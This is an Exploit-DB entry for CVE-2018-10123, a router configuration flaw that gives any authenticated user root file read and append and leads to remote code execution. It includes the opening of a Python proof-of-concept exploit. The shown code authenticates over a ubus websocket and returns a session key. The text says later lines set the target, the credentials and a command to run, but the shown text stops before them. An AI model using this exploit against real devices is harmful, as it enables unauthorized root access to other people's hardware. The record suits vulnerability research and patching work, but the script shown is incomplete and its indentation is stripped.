EDB-ID: 44635 | Author: neonsea | Published: 2018-05-16 | CVE: CVE-2018-10123 | Type: Remote | Platform: Hardware | Aliases: N/A | Advisory/Source: Link | Tags: Remote | Vulnerable App: N/A | Any authenticated user can modify the configuration for it in a way which allows them to read and append to any file as root. This leads to information disclosure and remote code execution. This vulnerability has been assigned the CVE ID: CVE-2018-10123.
This PoC requires Python 3.6 and a module called websocket-client which you can install by evoking pip install websocket-client. Please note that if you wish to use this, you should edit lines 58-61 of the script to include the proper IP, username, password and SSH key. You may also edit line 63 to include your own code for execution.
'''
#!/usr/bin/python3
import json
import sys
import socket
import os
import time
from websocket import create_connection
def ubusAuth(host, username, password):
ws = create_connection("ws://" + host, header = ["Sec-WebSocket-Protocol: ubus-json"])
req = json.dumps({"jsonrpc":"2.0","method":"call",
"params":["00000000000000000000000000000000","session","login",
{"username": username,"password":password}],
"id":666})
ws.send(req)
response = json.loads(ws.recv())
ws.close()
try:
key = response.get('result')[1].get('ubus_rpc_session')
except IndexError:
return(None)
return(key)
